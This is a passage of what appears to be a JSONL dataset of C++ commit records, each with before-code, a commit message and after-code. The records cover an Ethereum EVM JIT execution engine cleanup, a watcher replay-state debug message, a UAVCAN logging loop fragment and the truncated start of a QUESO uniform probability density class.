board::syslog(intToString(uavcan_lpc11c24::CanDriver::instance().getRxQueueOverflowCount()).c_str());\n board::syslog(\"\\r\\n\");\n\n \/*\n * We don't want to use formatting functions provided by libuavcan because they rely on std::snprintf(),\n * so we need to construct the message manually:\n *\/\n uavcan::protocol::debug::LogMessage logmsg;\n logmsg.level.value = uavcan::protocol::debug::LogLevel::INFO;\n logmsg.source = \"app\";\n logmsg.text = intToString(uavcan_lpc11c24::clock::getPrevUtcAdjustment().toUSec()).c_str();\n (void)getLogger().log(logmsg);\n }\n\n board::resetWatchdog();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"ExecutionEngine.h\"\n\n#include <chrono>\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n#include <llvm\/IR\/LLVMContext.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/ADT\/Triple.h>\n#include <llvm\/ExecutionEngine\/ExecutionEngine.h>\n#include <llvm\/ExecutionEngine\/SectionMemoryManager.h>\n#include <llvm\/ExecutionEngine\/GenericValue.h>\n#include <llvm\/ExecutionEngine\/MCJIT.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/PrettyStackTrace.h>\n#include <llvm\/Support\/Host.h>\n\n#pragma GCC diagnostic pop\n\n#include \"Runtime.h\"\n#include \"Memory.h\"\n#include \"Stack.h\"\n#include \"Type.h\"\n#include \"Compiler.h\"\n#include \"Cache.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env)\n{\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\t\/*if (auto cachedExec = Cache::findExec(key))\n\t{\n\t\treturn run(*cachedExec, _data, _env);\n\t}*\/\n\n\tauto module = Compiler({}).compile(_code);\n\t\/\/module->dump();\n\treturn run(std::move(module), _data, _env, _code);\n}\n\nnamespace\n{\nReturnCode runEntryFunc(ExecBundle const& _exec, Runtime* _runtime)\n{\n\t\/\/ That function uses long jumps to handle \"execeptions\".\n\t\/\/ Do not create any non-POD objects here\n\n\ttypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\tauto entryFuncPtr = (EntryFuncPtr)_exec.engine->getFunctionAddress(_exec.mainFuncName);\n\n\t\/\/std::cerr << _exec.mainFuncName << \" F: \" << entryFuncPtr << \"\\n\";\n\tReturnCode returnCode{};\n\t\/\/std::cerr << _exec.mainFuncName << \" +S: \" << &returnCode << \"\\n\";\n\tauto sj = setjmp(_runtime->getJmpBuf());\n\tif (sj == 0)\n\t\treturnCode = entryFuncPtr(_runtime);\n\telse\n\t\treturnCode = static_cast<ReturnCode>(sj);\n\n\t\/\/std::cerr << _exec.mainFuncName << \" -S: \" << &returnCode << \"\\n\";\n\treturn returnCode;\n}\n}\n\nReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code)\n{\n\t\/\/ TODO: Use it in evmcc\n\t\/\/llvm::sys::PrintStackTraceOnErrorSignal();\n\t\/\/static const auto program = \"EVM JIT\";\n\t\/\/llvm::PrettyStackTraceProgram X(1, &program);\n\n\tstatic std::unique_ptr<llvm::ExecutionEngine> ee; \/\/ TODO: Use Managed Objects from LLVM?\n\n\ttypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\tEntryFuncPtr entryFuncPtr{};\n\n\n\tExecBundle exec;\n\texec.mainFuncName = _module->getModuleIdentifier();\n\n\tif (!ee)\n\t{\n\t\tllvm::InitializeNativeTarget();\n\t\tllvm::InitializeNativeTargetAsmPrinter();\n\n\t\tllvm::EngineBuilder builder(_module.get());\n\t\tbuilder.setEngineKind(llvm::EngineKind::JIT);\n\t\tbuilder.setUseMCJIT(true);\n\t\tstd::unique_ptr<llvm::SectionMemoryManager> memoryManager(new llvm::SectionMemoryManager);\n\t\tbuilder.setMCJITMemoryManager(memoryManager.get());\n\t\tbuilder.setOptLevel(llvm::CodeGenOpt::None);\n\n\t\tauto triple = llvm::Triple(llvm::sys::getProcessTriple());\n\t\tif (triple.getOS() == llvm::Triple::OSType::Win32)\n\t\t\ttriple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); \/\/ MCJIT does not support COFF format\n\t\t_module->setTargetTriple(triple.str());\n\n\t\tee.reset(builder.create());\n\t\tif (!ee)\n\t\t\treturn ReturnCode::LLVMConfigError;\n\n\t\t_module.release(); \/\/ Successfully created llvm::ExecutionEngine takes ownership of the module\n\t\tmemoryManager.release(); \/\/ and memory manager\n\n\t\t\/\/ee->setObjectCache(Cache::getObjectCache());\n\t}\n\telse\n\t{\n\t\tif (entryFuncPtr = (EntryFuncPtr)ee->getFunctionAddress(_module->getModuleIdentifier()))\n\t\t{\n\t\t\tentryFuncPtr = nullptr;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tee->addModule(_module.get());\n\t\t\t\/\/std::cerr << _module->getModuleIdentifier() << \"\\n\";\n\t\t\t_module.release();\n\t\t}\n\t}\n\n\tassert(ee);\n\n\t\/\/ExecBundle exec;\n\t\/\/exec.engine.reset(builder.create());\n\t\/\/if (!exec.engine)\n\t\/\/\treturn ReturnCode::LLVMConfigError;\n\n\texec.engine = ee.get();\n\n\t\/\/ TODO: Finalization not needed when llvm::ExecutionEngine::getFunctionAddress used\n\t\/\/auto finalizationStartTime = std::chrono::high_resolution_clock::now();\n\t\/\/exec.engine->finalizeObject();\n\t\/\/auto finalizationEndTime = std::chrono::high_resolution_clock::now();\n\t\/\/clog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count();\n\n\tauto executionStartTime = std::chrono::high_resolution_clock::now();\n\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\t\/\/auto& cachedExec = Cache::registerExec(key, std::move(exec));\n\tRuntime runtime(_data, _env);\n\tauto returnCode = runEntryFunc(exec, &runtime);\n\tif (returnCode == ReturnCode::Return)\n\t\tthis->returnData = runtime.getReturnData();\n\n\tauto executionEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << \" ms \";\n\t\/\/clog(JIT) << \"Max stack size: \" << Stack::maxStackSize;\n\n\tclog(JIT) << \"\\n\";\n\n\treturn returnCode;\n}\n\n\n}\n}\n}\n<commit_msg>Clean up ExecutionEngine<commit_after>#include \"ExecutionEngine.h\"\n\n#include <chrono>\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n#include <llvm\/IR\/LLVMContext.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/ADT\/Triple.h>\n#include <llvm\/ExecutionEngine\/ExecutionEngine.h>\n#include <llvm\/ExecutionEngine\/SectionMemoryManager.h>\n#include <llvm\/ExecutionEngine\/GenericValue.h>\n#include <llvm\/ExecutionEngine\/MCJIT.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/PrettyStackTrace.h>\n#include <llvm\/Support\/Host.h>\n\n#pragma GCC diagnostic pop\n\n#include \"Runtime.h\"\n#include \"Memory.h\"\n#include \"Stack.h\"\n#include \"Type.h\"\n#include \"Compiler.h\"\n#include \"Cache.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env)\n{\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\t\/*if (auto cachedExec = Cache::findExec(key))\n\t{\n\t\treturn run(*cachedExec, _data, _env);\n\t}*\/\n\n\tauto module = Compiler({}).compile(_code);\n\t\/\/module->dump();\n\treturn run(std::move(module), _data, _env, _code);\n}\n\nnamespace\n{\n\ntypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\nReturnCode runEntryFunc(EntryFuncPtr _mainFunc, Runtime* _runtime)\n{\n\t\/\/ That function uses long jumps to handle \"execeptions\".\n\t\/\/ Do not create any non-POD objects here\n\n\tReturnCode returnCode{};\n\tauto sj = setjmp(_runtime->getJmpBuf());\n\tif (sj == 0)\n\t\treturnCode = _mainFunc(_runtime);\n\telse\n\t\treturnCode = static_cast<ReturnCode>(sj);\n\n\treturn returnCode;\n}\n\n}\n\nReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code)\n{\n\t\/\/ TODO: Use it in evmcc\n\t\/\/llvm::sys::PrintStackTraceOnErrorSignal();\n\t\/\/static const auto program = \"EVM JIT\";\n\t\/\/llvm::PrettyStackTraceProgram X(1, &program);\n\n\tstatic std::unique_ptr<llvm::ExecutionEngine> ee; \/\/ TODO: Use Managed Objects from LLVM?\n\n\ttypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\tEntryFuncPtr entryFuncPtr{};\n\n\n\tauto&& mainFuncName = _module->getModuleIdentifier();\n\n\tif (!ee)\n\t{\n\t\tllvm::InitializeNativeTarget();\n\t\tllvm::InitializeNativeTargetAsmPrinter();\n\n\t\tllvm::EngineBuilder builder(_module.get());\n\t\tbuilder.setEngineKind(llvm::EngineKind::JIT);\n\t\tbuilder.setUseMCJIT(true);\n\t\tstd::unique_ptr<llvm::SectionMemoryManager> memoryManager(new llvm::SectionMemoryManager);\n\t\tbuilder.setMCJITMemoryManager(memoryManager.get());\n\t\tbuilder.setOptLevel(llvm::CodeGenOpt::None);\n\n\t\tauto triple = llvm::Triple(llvm::sys::getProcessTriple());\n\t\tif (triple.getOS() == llvm::Triple::OSType::Win32)\n\t\t\ttriple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); \/\/ MCJIT does not support COFF format\n\t\t_module->setTargetTriple(triple.str());\n\n\t\tee.reset(builder.create());\n\t\tif (!ee)\n\t\t\treturn ReturnCode::LLVMConfigError;\n\n\t\t_module.release(); \/\/ Successfully created llvm::ExecutionEngine takes ownership of the module\n\t\tmemoryManager.release(); \/\/ and memory manager\n\n\t\t\/\/ee->setObjectCache(Cache::getObjectCache());\n\t}\n\telse\n\t{\n\t\tif (entryFuncPtr = (EntryFuncPtr)ee->getFunctionAddress(_module->getModuleIdentifier()))\n\t\t{\n\t\t\tentryFuncPtr = nullptr;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tee->addModule(_module.get());\n\t\t\t\/\/std::cerr << _module->getModuleIdentifier() << \"\\n\";\n\t\t\t_module.release();\n\t\t}\n\t}\n\n\tassert(ee);\n\n\t\/\/ExecBundle exec;\n\t\/\/exec.engine.reset(builder.create());\n\t\/\/if (!exec.engine)\n\t\/\/\treturn ReturnCode::LLVMConfigError;\n\n\t\/\/ TODO: Finalization not needed when llvm::ExecutionEngine::getFunctionAddress used\n\t\/\/auto finalizationStartTime = std::chrono::high_resolution_clock::now();\n\t\/\/exec.engine->finalizeObject();\n\t\/\/auto finalizationEndTime = std::chrono::high_resolution_clock::now();\n\t\/\/clog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(finalizationEndTime - finalizationStartTime).count();\n\n\tauto executionStartTime = std::chrono::high_resolution_clock::now();\n\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\t\/\/auto& cachedExec = Cache::registerExec(key, std::move(exec));\n\tRuntime runtime(_data, _env);\n\tauto mainFunc = (EntryFuncPtr)ee->getFunctionAddress(mainFuncName);\n\tauto returnCode = runEntryFunc(mainFunc, &runtime);\n\tif (returnCode == ReturnCode::Return)\n\t\tthis->returnData = runtime.getReturnData();\n\n\tauto executionEndTime = std::chrono::high_resolution_clock::now();\n\tclog(JIT) << \" + \" << std::chrono::duration_cast<std::chrono::milliseconds>(executionEndTime - executionStartTime).count() << \" ms \";\n\t\/\/clog(JIT) << \"Max stack size: \" << Stack::maxStackSize;\n\n\tclog(JIT) << \"\\n\";\n\n\treturn returnCode;\n}\n\n\n}\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"replayState.h\"\n\n#include <deque>\n#include <boost\/bind.hpp>\n#include <boost\/thread.hpp>\n\n#include \"libwatcher\/message.h\"\n#include \"serverConnection.h\"\n#include \"Assert.h\"\n#include \"database.h\"\n#include \"watcherd.h\"\n\nusing namespace util;\nusing namespace watcher;\nusing namespace watcher::event;\n\n\/\/< default value for number of events to prefetch from the database\nconst unsigned int DEFAULT_BUFFER_SIZE = 10U; \/* db rows *\/\nconst unsigned int DEFAULT_STEP = 250U \/* ms *\/;\n\n\/** Internal structure used for implementing the class. Used to avoid\n * dependencies for the user of the class. These would normally be private\n * members of ReplayState.\n *\/\nstruct ReplayState::impl {\n boost::weak_ptr<ServerConnection> conn;\n std::deque<MessagePtr> events;\n boost::asio::deadline_timer timer;\n Timestamp ts; \/\/ the current effective time\n Timestamp last_event; \/\/ timestamp of last event retrieved from db\n float speed; \/\/< playback speed\n unsigned int bufsiz; \/\/< number of database rows to prefetch\n Timestamp step;\n enum run_state { paused, running } state;\n\n \/*\n * Lock used for event queue. This is required due to the seek() member\n * function, which can be called from a different thread.\n *\/\n boost::mutex lock;\n\n impl(ServerConnectionPtr& ptr) :\n conn(ptr), timer(ptr->io_service()), ts(0), last_event(0), bufsiz(DEFAULT_BUFFER_SIZE),\n step(DEFAULT_STEP), state(paused)\n {\n TRACE_ENTER();\n TRACE_EXIT();\n }\n};\n\nReplayState::ReplayState(ServerConnectionPtr ptr, Timestamp t, float playback_speed) :\n impl_(new impl(ptr))\n{\n TRACE_ENTER();\n Assert<Bad_arg>(t >= 0);\n impl_->ts = t;\n impl_->last_event = t;\n\n speed(playback_speed);\n TRACE_EXIT();\n}\n\nTimestamp ReplayState::tell() const\n{\n TRACE_ENTER();\n TRACE_EXIT_RET(impl_->ts);\n return impl_->ts;\n}\n\nReplayState& ReplayState::pause()\n{\n TRACE_ENTER();\n LOG_DEBUG(\"cancelling timer\");\n impl_->timer.cancel();\n impl_->state = impl::paused;\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::seek(Timestamp t)\n{\n TRACE_ENTER();\n\n impl::run_state oldstate;\n {\n boost::mutex::scoped_lock L(impl_->lock);\n oldstate = impl_->state;\n pause();\n impl_->events.clear();\n impl_->ts = t;\n if (t == -1)\n impl_->last_event = std::numeric_limits<Timestamp>::max();\n else\n impl_->last_event = t;\n }\n if (oldstate == impl::running)\n run();\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::speed(float f)\n{\n TRACE_ENTER();\n Assert<Bad_arg>(f != 0);\n \/* If speed changes direction, need to clear the event list.\n * Check for sign change by noting that positive*negative==negative\n *\/\n if (impl_->speed * f < 0) {\n impl::run_state oldstate;\n {\n boost::mutex::scoped_lock L(impl_->lock);\n\n oldstate = impl_->state;\n pause();\n\n impl_->events.clear();\n\n \/*\n * Avoid setting .last_event when SpeedMessage is received\n * prior to the first StartMessage.\n *\/\n if (impl_->ts != 0 && impl_->ts != -1)\n impl_->last_event = impl_->ts;\n\n impl_->speed = f;\n }\n if (oldstate == impl::running)\n run();\n } else\n impl_->speed = f;\n LOG_DEBUG(\"ts=\" << impl_->ts << \" last_event=\" << impl_->last_event);\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::buffer_size(unsigned int n)\n{\n TRACE_ENTER();\n Assert<Bad_arg>(n != 0);\n impl_->bufsiz = n;\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::time_step(unsigned int n)\n{\n TRACE_ENTER();\n Assert<Bad_arg>(n != 0);\n impl_->step = n;\n TRACE_EXIT();\n return *this;\n}\n\n\/* function object for accepting events output from Database::getEvents() *\/\nstruct event_output {\n std::deque<MessagePtr>& q;\n event_output(std::deque<MessagePtr>& qq) : q(qq) {}\n void operator() (MessagePtr m) { q.push_back(m); }\n};\n\n\/** Schedule an asynchronous task to replay events from the database to a GUI\n * client. If the local cache of upcoming events is empty, prefetch a block of\n * events from the database.\n *\n * The code is written such that it will work when playing events forward or in\n * reverse.\n *\/\nvoid ReplayState::run()\n{\n TRACE_ENTER();\n boost::mutex::scoped_lock L(impl_->lock);\n\n if (impl_->events.empty()) {\n \/\/ queue is empty, pre-fetch more items from the DB\n\n boost::function<void(MessagePtr)> cb(event_output(impl_->events));\n LOG_DEBUG(\"fetching events \" << (impl_->speed > 0 ? \"> \" : \"< \") << impl_->last_event);\n get_db_handle().getEvents(cb,\n impl_->last_event,\n (impl_->speed >= 0) ? Database::forward : Database::reverse,\n impl_->bufsiz);\n\n if (!impl_->events.empty()) {\n \/* When starting to replay, assume that time T=0 is the time of the\n * first event in the stream.\n * T= -1 is EOF.\n * Convert to timestamp of first item in the returned events.\n *\n * When playing in reverse, the first item in the list is the last event in the database.\n *\/\n if (impl_->ts == 0 || impl_->ts == -1)\n impl_->ts = impl_->events.front()->timestamp;\n\n \/\/ save timestamp of last event retrieved to avoid duplication\n impl_->last_event = impl_->events.back()->timestamp;\n }\n }\n\n if (! impl_->events.empty()) {\n \/\/ time until next event\n Timestamp delta = impl_->events.front()->timestamp - impl_->ts;\n LOG_DEBUG(\"Next event in \" << delta << \" ms\");\n\n \/\/ update our notion of the current time after the timer expires\n impl_->ts = impl_->events.front()->timestamp;\n\n \/* Adjust for playback speed. Note that when playing events in reverse, both speed\n * delta will be negative, which will turn delta into a positive value for the\n * async_wait() call, which is exactly what is required. *\/\n delta \/= impl_->speed;\n\n impl_->timer.expires_from_now(boost::posix_time::millisec(delta));\n impl_->timer.async_wait(boost::bind(&ReplayState::timer_handler, shared_from_this(), boost::asio::placeholders::error));\n impl_->state = impl::running;\n } else {\n \/*\n * FIXME what should happen when the end of the event stream is reached?\n * One option would be to convert to live stream at this point.\n *\/\n impl_->state = impl::paused;\n }\n TRACE_EXIT();\n}\n\n\/** Replay events to a GUI client when a timer expires.\n *\n * The run() member function is reponsible for prefetching events from the\n * database and storing them in the class object. When a timer expires, run\n * through the locally stored events and send those that occurred within the\n * last time slice. The task is then rescheduled when the next most recent\n * event needs to be transmitted.\n *\/\nvoid ReplayState::timer_handler(const boost::system::error_code& ec)\n{\n TRACE_ENTER();\n if (ec == boost::asio::error::operation_aborted)\n LOG_DEBUG(\"timer was cancelled\");\n else if (impl_->state == impl::paused) {\n LOG_DEBUG(\"timer expired but state is paused!\");\n } else {\n std::vector<MessagePtr> msgs;\n {\n boost::mutex::scoped_lock L(impl_->lock);\n\n while (! impl_->events.empty()) {\n MessagePtr m = impl_->events.front();\n \/* Replay all events in the current time step. Use the absolute value\n * of the difference in order for forward and reverse replay to work\n * properly. *\/\n if (abs(m->timestamp - impl_->ts) >= impl_->step)\n break;\n msgs.push_back(m);\n impl_->events.pop_front();\n }\n }\n\n ServerConnectionPtr srv = impl_->conn.lock();\n if (srv) { \/* connection is still alive *\/\n srv->sendMessage(msgs);\n run(); \/\/ reschedule this task\n }\n }\n TRACE_EXIT();\n}\n\n\/* This is required to be defined, otherwise a the default dtor will cause a\n * compiler error due to use of scoped_ptr with an incomplete type.\n *\/\nReplayState::~ReplayState()\n{\n TRACE_ENTER();\n TRACE_EXIT();\n}\n\nfloat ReplayState::speed() const\n{\n return impl_->speed;\n}\n<commit_msg>add debug message when last row of db is fetched<commit_after>#include \"replayState.h\"\n\n#include <deque>\n#include <boost\/bind.hpp>\n#include <boost\/thread.hpp>\n\n#include \"libwatcher\/message.h\"\n#include \"serverConnection.h\"\n#include \"Assert.h\"\n#include \"database.h\"\n#include \"watcherd.h\"\n\nusing namespace util;\nusing namespace watcher;\nusing namespace watcher::event;\n\n\/\/< default value for number of events to prefetch from the database\nconst unsigned int DEFAULT_BUFFER_SIZE = 10U; \/* db rows *\/\nconst unsigned int DEFAULT_STEP = 250U \/* ms *\/;\n\n\/** Internal structure used for implementing the class. Used to avoid\n * dependencies for the user of the class. These would normally be private\n * members of ReplayState.\n *\/\nstruct ReplayState::impl {\n boost::weak_ptr<ServerConnection> conn;\n std::deque<MessagePtr> events;\n boost::asio::deadline_timer timer;\n Timestamp ts; \/\/ the current effective time\n Timestamp last_event; \/\/ timestamp of last event retrieved from db\n float speed; \/\/< playback speed\n unsigned int bufsiz; \/\/< number of database rows to prefetch\n Timestamp step;\n enum run_state { paused, running } state;\n\n \/*\n * Lock used for event queue. This is required due to the seek() member\n * function, which can be called from a different thread.\n *\/\n boost::mutex lock;\n\n impl(ServerConnectionPtr& ptr) :\n conn(ptr), timer(ptr->io_service()), ts(0), last_event(0), bufsiz(DEFAULT_BUFFER_SIZE),\n step(DEFAULT_STEP), state(paused)\n {\n TRACE_ENTER();\n TRACE_EXIT();\n }\n};\n\nReplayState::ReplayState(ServerConnectionPtr ptr, Timestamp t, float playback_speed) :\n impl_(new impl(ptr))\n{\n TRACE_ENTER();\n Assert<Bad_arg>(t >= 0);\n impl_->ts = t;\n impl_->last_event = t;\n\n speed(playback_speed);\n TRACE_EXIT();\n}\n\nTimestamp ReplayState::tell() const\n{\n TRACE_ENTER();\n TRACE_EXIT_RET(impl_->ts);\n return impl_->ts;\n}\n\nReplayState& ReplayState::pause()\n{\n TRACE_ENTER();\n LOG_DEBUG(\"cancelling timer\");\n impl_->timer.cancel();\n impl_->state = impl::paused;\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::seek(Timestamp t)\n{\n TRACE_ENTER();\n\n impl::run_state oldstate;\n {\n boost::mutex::scoped_lock L(impl_->lock);\n oldstate = impl_->state;\n pause();\n impl_->events.clear();\n impl_->ts = t;\n if (t == -1)\n impl_->last_event = std::numeric_limits<Timestamp>::max();\n else\n impl_->last_event = t;\n }\n if (oldstate == impl::running)\n run();\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::speed(float f)\n{\n TRACE_ENTER();\n Assert<Bad_arg>(f != 0);\n \/* If speed changes direction, need to clear the event list.\n * Check for sign change by noting that positive*negative==negative\n *\/\n if (impl_->speed * f < 0) {\n impl::run_state oldstate;\n {\n boost::mutex::scoped_lock L(impl_->lock);\n\n oldstate = impl_->state;\n pause();\n\n impl_->events.clear();\n\n \/*\n * Avoid setting .last_event when SpeedMessage is received\n * prior to the first StartMessage.\n *\/\n if (impl_->ts != 0 && impl_->ts != -1)\n impl_->last_event = impl_->ts;\n\n impl_->speed = f;\n }\n if (oldstate == impl::running)\n run();\n } else\n impl_->speed = f;\n LOG_DEBUG(\"ts=\" << impl_->ts << \" last_event=\" << impl_->last_event);\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::buffer_size(unsigned int n)\n{\n TRACE_ENTER();\n Assert<Bad_arg>(n != 0);\n impl_->bufsiz = n;\n TRACE_EXIT();\n return *this;\n}\n\nReplayState& ReplayState::time_step(unsigned int n)\n{\n TRACE_ENTER();\n Assert<Bad_arg>(n != 0);\n impl_->step = n;\n TRACE_EXIT();\n return *this;\n}\n\n\/* function object for accepting events output from Database::getEvents() *\/\nstruct event_output {\n std::deque<MessagePtr>& q;\n event_output(std::deque<MessagePtr>& qq) : q(qq) {}\n void operator() (MessagePtr m) { q.push_back(m); }\n};\n\n\/** Schedule an asynchronous task to replay events from the database to a GUI\n * client. If the local cache of upcoming events is empty, prefetch a block of\n * events from the database.\n *\n * The code is written such that it will work when playing events forward or in\n * reverse.\n *\/\nvoid ReplayState::run()\n{\n TRACE_ENTER();\n boost::mutex::scoped_lock L(impl_->lock);\n\n if (impl_->events.empty()) {\n \/\/ queue is empty, pre-fetch more items from the DB\n\n boost::function<void(MessagePtr)> cb(event_output(impl_->events));\n LOG_DEBUG(\"fetching events \" << (impl_->speed > 0 ? \"> \" : \"< \") << impl_->last_event);\n get_db_handle().getEvents(cb,\n impl_->last_event,\n (impl_->speed >= 0) ? Database::forward : Database::reverse,\n impl_->bufsiz);\n\n if (!impl_->events.empty()) {\n \/* When starting to replay, assume that time T=0 is the time of the\n * first event in the stream.\n * T= -1 is EOF.\n * Convert to timestamp of first item in the returned events.\n *\n * When playing in reverse, the first item in the list is the last event in the database.\n *\/\n if (impl_->ts == 0 || impl_->ts == -1)\n impl_->ts = impl_->events.front()->timestamp;\n\n \/\/ save timestamp of last event retrieved to avoid duplication\n impl_->last_event = impl_->events.back()->timestamp;\n }\n }\n\n if (! impl_->events.empty()) {\n \/\/ time until next event\n Timestamp delta = impl_->events.front()->timestamp - impl_->ts;\n LOG_DEBUG(\"Next event in \" << delta << \" ms\");\n\n \/\/ update our notion of the current time after the timer expires\n impl_->ts = impl_->events.front()->timestamp;\n\n \/* Adjust for playback speed. Note that when playing events in reverse, both speed\n * delta will be negative, which will turn delta into a positive value for the\n * async_wait() call, which is exactly what is required. *\/\n delta \/= impl_->speed;\n\n impl_->timer.expires_from_now(boost::posix_time::millisec(delta));\n impl_->timer.async_wait(boost::bind(&ReplayState::timer_handler, shared_from_this(), boost::asio::placeholders::error));\n impl_->state = impl::running;\n } else {\n \/*\n * FIXME what should happen when the end of the event stream is reached?\n * One option would be to convert to live stream at this point.\n *\/\n LOG_DEBUG(\"reached end of database, pausing playback\");\n impl_->state = impl::paused;\n }\n TRACE_EXIT();\n}\n\n\/** Replay events to a GUI client when a timer expires.\n *\n * The run() member function is reponsible for prefetching events from the\n * database and storing them in the class object. When a timer expires, run\n * through the locally stored events and send those that occurred within the\n * last time slice. The task is then rescheduled when the next most recent\n * event needs to be transmitted.\n *\/\nvoid ReplayState::timer_handler(const boost::system::error_code& ec)\n{\n TRACE_ENTER();\n if (ec == boost::asio::error::operation_aborted)\n LOG_DEBUG(\"timer was cancelled\");\n else if (impl_->state == impl::paused) {\n LOG_DEBUG(\"timer expired but state is paused!\");\n } else {\n std::vector<MessagePtr> msgs;\n {\n boost::mutex::scoped_lock L(impl_->lock);\n\n while (! impl_->events.empty()) {\n MessagePtr m = impl_->events.front();\n \/* Replay all events in the current time step. Use the absolute value\n * of the difference in order for forward and reverse replay to work\n * properly. *\/\n if (abs(m->timestamp - impl_->ts) >= impl_->step)\n break;\n msgs.push_back(m);\n impl_->events.pop_front();\n }\n }\n\n ServerConnectionPtr srv = impl_->conn.lock();\n if (srv) { \/* connection is still alive *\/\n srv->sendMessage(msgs);\n run(); \/\/ reschedule this task\n }\n }\n TRACE_EXIT();\n}\n\n\/* This is required to be defined, otherwise a the default dtor will cause a\n * compiler error due to use of scoped_ptr with an incomplete type.\n *\/\nReplayState::~ReplayState()\n{\n TRACE_ENTER();\n TRACE_EXIT();\n}\n\nfloat ReplayState::speed() const\n{\n return impl_->speed;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------------------------------bl-\n\/\/--------------------------------------------------------------------------\n\/\/\n\/\/ QUESO - a library to support the Quantification of Uncertainty\n\/\/ for Estimation, Simulation and Optimization\n\/\/\n\/\/ Copyright (C) 2008-2015 The PECOS Development Team\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the Version 2.1 GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc. 51 Franklin Street, Fifth Floor,\n\/\/ Boston, MA 02110-1301 USA\n\/\/\n\/\/-----------------------------------------------------------------------el-\n\n#include <queso\/UniformJointPdf.h>\n#include <queso\/GslVector.h>\n#include <queso\/GslMatrix.h>\n\nnamespace QUESO {\n\n\/\/ Constructor -------------------------------------\ntemplate<class V,class M>\nUniformJointPdf<V,M>::UniformJointPdf(\n const char* prefix,\n const VectorSet<V,M>& domainSet)\n :\n BaseJointPdf<V,M>(((std::string)(prefix)+\"uni\").c_str(),\n domainSet)\n{\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 54)) {\n *m_env.subDisplayFile() << \"Entering UniformJointPdf<V,M>::constructor()\"\n << \": prefix = \" << m_prefix\n << std::endl;\n }\n\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 54)) {\n *m_env.subDisplayFile() << \"Leaving UniformJointPdf<V,M>::constructor()\"\n << \": prefix = \" << m_prefix\n << std::endl;\n }\n}\n\/\/ Destructor --------------------------------------\ntemplate<class V,class M>\nUniformJointPdf<V,M>::~UniformJointPdf()\n{\n}\n\/\/ Math methods-------------------------------------\ntemplate<class V, class M>\ndouble\nUniformJointPdf<V,M>::actualValue(\n const V& domainVector,\n const V* domainDirection,\n V* gradVector,\n M* hessianMatrix,\n V* hessianEffect) const\n{\n UQ_FATAL_TEST_MACRO(domainVector.sizeLocal() != this->m_domainSet.vectorSpace().dimLocal(),\n m_env.worldRank(),\n \"UniformJointPdf<V,M>::actualValue()\",\n \"invalid input\");\n\n if (gradVector ) *gradVector = m_domainSet.vectorSpace().zeroVector();\n if (hessianMatrix) *hessianMatrix *= 0.;\n if (hessianEffect) *hessianEffect = m_domainSet.vectorSpace().zeroVector();\n\n if (domainDirection) {}; \/\/ just to remove compiler warning\n\n double volume = m_domainSet.volume();\n if (((boost::math::isnan)(volume)) ||\n (volume == -INFINITY ) ||\n (volume == INFINITY ) ||\n (volume <= 0. ) ||\n (m_normalizationStyle != 0 )) {\n volume = 1.;\n }\n\n return 1.\/volume; \/\/ No need to multiply by exp(m_logOfNormalizationFactor) [PDF-04]\n}\n\/\/--------------------------------------------------\ntemplate<class V, class M>\ndouble\nUniformJointPdf<V,M>::lnValue(\n const V& domainVector,\n const V* domainDirection,\n V* gradVector,\n M* hessianMatrix,\n V* hessianEffect) const\n{\n if 